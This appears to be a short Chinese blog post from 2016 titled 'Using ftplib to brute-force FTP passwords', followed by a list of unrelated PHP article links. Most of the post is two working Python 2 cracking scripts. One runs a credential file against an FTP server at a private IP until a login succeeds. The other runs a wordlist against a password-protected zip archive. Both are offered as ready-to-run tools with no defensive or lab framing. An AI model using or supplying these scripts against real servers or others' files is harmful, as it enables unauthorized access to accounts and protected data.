用ftplib爆破FTP口令
2016-06-11 10:10
477 查看
#coding:utf-8 #author:jwong import ftplib def bruteLogin(hostname,passwordFile): with open(passwordFile,'r') as f: for line in f.readlines(): username = line.split(':')[0] password = line.split(':')[1].strip('\r').strip('\n') print "[+] Trying:" + username + "/" + password try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print 'login success' ftp.quit() return (username,password) except Exception, e: pass print 'could not brute force FTP credentials' return (None,None) if __name__ == '__main__': host = '192.168.21.104' passwordFile = 'userpass.txt' bruteLogin(host,passwordFile)
爆破zip脚本:
#coding:utf-8 #author:jwong import zipfile filename = 'master.zip' with open('password.txt','r') as f: zf = zipfile.ZipFile(filename) for line in f.readlines(): line = line.strip() try: zf.extractall("./sample",pwd=line) print "crack password is %s" % line exit(0) except Exception, e: pass
相关文章推荐
- PHP学习笔记-数组
- Yii2高级模版使用composer在windows系统上安装
- php设计模式之单例模式代码
- PHP学习笔记——延迟静态绑定
- 围观tp驱动保护。详解debugport清0
- laravel配置路由出现404解决办法
- PHP 字符串的隐式转换规则以及针对包含字母的字符串的递增/递减操作
- php设计模式之单例模式代码
- PHP中strpos、strstr和stripos、stristr函数分析
- Ajax获取PHP服务器上的 Json数据以及POST的综合实例
- thinkphp整合系列之友盟消息推送
- PHP7安装
- Windows 2008一键安装包配置环境:Windows+IIS+Php+Mysql
- windows 2008手动安装PHP环境
- php7编译安装
- PHPExcel 读取导入 excel2003,2007各个版本整理
- ubuntu下crontab 定时执行php脚本
- yershop商城系统Thinkphp开发(四)——微信篇1:微信公众号静默授权注册及获取用户信息
- [Mac][phpMyAdmin] [2002] No such file or directory
- HDOJ 1096 A+B for Input-Output Practice (VIII)